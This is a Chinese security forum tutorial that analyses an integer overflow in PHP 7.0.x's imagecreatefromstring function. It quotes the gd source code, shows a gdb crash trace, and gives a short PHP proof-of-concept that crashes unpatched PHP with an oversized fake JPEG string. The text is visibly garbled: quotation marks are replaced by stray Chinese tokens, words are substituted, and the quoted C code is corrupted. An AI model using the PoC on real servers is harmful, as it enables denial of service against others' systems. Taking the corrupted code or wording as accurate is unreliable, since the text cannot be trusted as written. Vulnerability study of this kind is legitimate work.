0x01 序言
首先声明这些漏洞不是我挖的,我想挖但是挖不出来,蛋疼。本次讲解栈溢出漏洞,这个漏洞是比较常见的漏洞,现在 php 里面不太常见了,php 漏洞挖掘没有啥好工具,只能人工逐步的看,afl 彷佛可以自动化挖掘,不过我跑了 10几天也没跑出个crash。

包含漏洞的版本:PHP 7.0.11
0x02 漏洞剖析
首先下载源码http://php.net/releases/,然后编译安装,版本可以低一点,今后的漏洞这个版本都是没打补丁的。环境采取 ubuntu 和编译版本的 php7.0.2,只有 linux 才有符号表,windows 下不好调试,虽然方便的多。现在正式开始吧。
定位到漏洞函数代码 /ext/gd/gd.c:2222
PHP_FUNCTION(imagecreatefromstring)
{
zval data;
gdImagePtr im;
int imtype;
char sig[8];
if (zend_parse_parameters(ZEND_NUM_ARGS(), \公众z\"大众, &data) == FAILURE) {
return;
}
convert_to_string_ex(data);
if (Z_STRLEN_P(data) < 8) {
php_error_docref(NULL, E_WARNING, \"大众Empty string or invalid image\"大众);
RETURN_FALSE;
}
memcpy(sig, Z_STRVAL_P(data), 8);
imtype = _php_image_type(sig);
switch (imtype) {
case PHP_GDIMG_TYPE_JPG:
#ifdef HAVE_GD_JPG
im = _php_image_create_from_string(data, \"大众JPEG\公众, gdImageCreateFromJpegCtx);
#else
php_error_docref(NULL, E_WARNING, \公众No JPEG support in this PHP build\"大众);
RETURN_FALSE;
#endif
break;
case PHP_GDIMG_TYPE_PNG:
#ifdef HAVE_GD_PNG
im = _php_image_create_from_string(data, \公众PNG\"大众, gdImageCreateFromPngCtx);
#else
php_error_docref(NULL, E_WARNING, \公众No PNG support in this PHP build\"大众);
RETURN_FALSE;
#endif
break;
case PHP_GDIMG_TYPE_GIF:
im = _php_image_create_from_string(data, \"大众GIF\公众, gdImageCreateFromGifCtx);
break;
case PHP_GDIMG_TYPE_WBM:
im=_php_image_create_from_string(data,\公众WBMP\"大众, gdImageCreateFromWBMPCtx);
break;
case PHP_GDIMG_TYPE_GD2:
im = _php_image_create_from_string(data, \"大众GD2\"大众, gdImageCreateFromGd2Ctx);
break;
default:
php_error_docref(NULL, E_WARNING, \公众Data is not in a recognized format\"大众);
RETURN_FALSE;
}
if (!im) {
php_error_docref(NULL, E_WARNING, \公众Couldn't create GD Image Stream out of Data\"大众);
RETURN_FALSE;
}
RETURN_RES(zend_register_resource(im, le_gd));
}
有可能上面的代码长了点,但是只要找到关键函数就行了_php_image_create_from_string,在这个函数中的 gdNewDynamicCtxEx 这个函数才是关键点,跟踪进去就行了。在 gd.c:2196 行,如果你利用其他版本可能行号不一样,不过没事搜索函数就行了。
gdImagePtr _php_image_create_from_string(zval data, char tn, gdImagePtr (ioctx_func_p)())
{
gdImagePtr im;
gdIOCtx io_ctx;
io_ctx = gdNewDynamicCtxEx(Z_STRLEN_P(data),Z_STRVAL_P(data), 0); //这边的传入参数的长度为0x80000000 由于是int,以是这边整数溢出。
………………………………………………………………………………
gdNewDynamicCtxEx函数代码,行号就不说了。
gdIOCtx gdNewDynamicCtxEx (int initialSize, void data, int freeOKFlag)
{
dpIOCtx ctx;
dynamicPtr dp;
ctx = (dpIOCtx ) gdMalloc (sizeof (dpIOCtx));
dp = newDynamic(initialSize, data, freeOKFlag);
ctx->dp = dp; //这边将initialSize 赋值了
ctx->ctx.getC =dynamicGetchar; //这边造成栈溢出,跟踪进去进行了。
………………………………………………………………………………
newDynamic函数代码
static dynamicPtr newDynamic (int initialSize, void data, int freeOKFlag)
{
dynamicPtr dp;
dp = (dynamicPtr ) gdMalloc (sizeof (dynamicPtr)); // 这边申请了64个字节
allocDynamic (dp, initialSize, data);
………………………………………………………..
static int
allocDynamic (dynamicPtr dp, int initialSize, void data)
{
if (data == NULL) {
dp->logicalSize = 0;
dp->dataGood = FALSE;
dp->data = gdMalloc(initialSize); 这里的initialSize的值为-2147483648
} else {
dp->logicalSize = initialSize;
dp->dataGood = TRUE;
dp->data = data;
}
……………………………………………….
static int dynamicGetchar (gdIOCtxPtr ctx)
{
unsigned char b;
int rv;
rv = dynamicGetbuf (ctx, &b, 1);
………………………………………………………………………………
static int dynamicGetbuf (gdIOCtxPtr ctx, void buf, int len)
{
int rlen, remain;
dpIOCtxPtr dctx;
dynamicPtr dp;
dctx = (dpIOCtxPtr) ctx;
dp = dctx->dp;
remain = dp->logicalSize - dp->pos;
if (remain >= len) {
rlen = len;
} else {
if (remain == 0) {
return EOF;
}
rlen = remain;//上面的remain 的值为负数,没有检讨,直接比较后赋值,以是导致下面的rlen的值过大造成栈溢出。
}
memcpy(buf, (void ) ((char ) dp->data + dp->pos), rlen); //这边造成了栈溢出
下面是几个构造体,可以对照着去理解代码。
ypedef struct gdIOCtx {
int (getC)(struct gdIOCtx);
int (getBuf)(struct gdIOCtx, void, int);
void (putC)(struct gdIOCtx, int);
int (putBuf)(struct gdIOCtx, const void, int);
int (seek)(struct gdIOCtx, const int);
long (tell)(struct gdIOCtx);
void (gd_free)(struct gdIOCtx);
void data;
} gdIOCtx;
………………………………………………………………………………
typedef struct dpStruct
{
void data;
int logicalSize;
int realSize;
int dataGood;
int pos;
int freeOK;
} dynamicPtr;
………………………………………………………………………………
typedef struct dpIOCtx
{
gdIOCtx ctx;
dynamicPtr dp;
} dpIOCtx;
………………………………………………………………………………
下面是 gdb 的调试信息,不知道为什么参数的值没有显示出来。有些代码直接阅读比较麻烦,可以 gdb 调试代码,再调试的同时,打印出它的值。
root@mhn:~# gdb -q --args php-7.0.2/sapi/cli/php -n test.php
Reading symbols from php-7.0.2/sapi/cli/php...done.
(gdb) r
Starting program: /root/php-7.0.2/sapi/cli/php -n test.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library \"大众/lib/x86_64-linux-gnu/libthread_db.so.1\"大众.
Program received signal SIGSEGV, Segmentation fault.
__memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:118
118 ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.
(gdb) bt
#0 __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:118
#1 0x000000000059c1cf in memcpy (__len=18446744071562067968, __src=, __dest=) at /usr/include/x86_64-linux-gnu/bits/string3.h:51
#2 dynamicGetbuf (ctx=, buf=, len=) at /root/php-7.0.2/ext/gd/libgd/gd_io_dp.c:246
#3 0x000000000059dd05 in php_gd_fill_input_buffer (cinfo=0x7fffffffaa70) at /root/php-7.0.2/ext/gd/libgd/gd_jpeg.c:607
#4 0x00007ffff73144e6 in ?? () from /usr/lib/x86_64-linux-gnu/libjpeg.so.8
#5 0x00007ffff73129ca in ?? () from /usr/lib/x86_64-linux-gnu/libjpeg.so.8
poc 就放下面了:
ini_set('memory_limit',-1);
$var_3 = str_repeat(\"大众A\"大众,0x80000000);
$var_3[0]=\"大众\xff\公众;
$var_3[1]=\公众\xd8\"大众;
$var_3[2]=\"大众\xff\"大众;
imagecreatefromstring($var_3);
这边为什么要更换变量的值呢,由于它上面会检讨文件头是否为真实的图片。以是我这边用了 jpg 的文件头,该当是吧,我也忘了啥文件头,反正只要网上搜索一下图片的文件头就行了。
0x03 小结
说实话我也是初学者,只能这样写一篇文章了,网上的 php 底层的漏洞挖掘太少了,就只有运用层的代码审计,希望能够给初学者们帮助吧。如果写的有啥不对的地方欢迎指出。
参考链接
https://bugs.php.net/bug.php?id=73280
精彩评论
如果是 7.0.11 那么该当会有不少环境都包含此漏洞,理论上能拿到 php 进程权限,可能是 www,也可能是 root,威胁还是很大的。不过在实际的项目中这个函数 image_create_from_string() 利用的频度不太高。
建议还在利用 PHP 7 低版本的用户尽快升级到最新版本,避免做事器遭到入侵。
本文由看雪论坛 hackyzh 原创
❤ 往期热门内容推举
看雪众测及其渗透测试做事先容
国产电纸书 Bambook 破解条记(一)
HG533路由器剖析教程之三:数据流跟踪
WEB渗透测试中回显的一些技巧
报名 |《走近企业看安全》第10站 知道创宇
......
更多精良文章,“关注看雪学院"大众号”查看!
看雪论坛:http://bbs.pediy.com
微信"大众年夜众号 ID:ikanxue
微博:看雪安全
投稿、互助:http://www.kanxue.com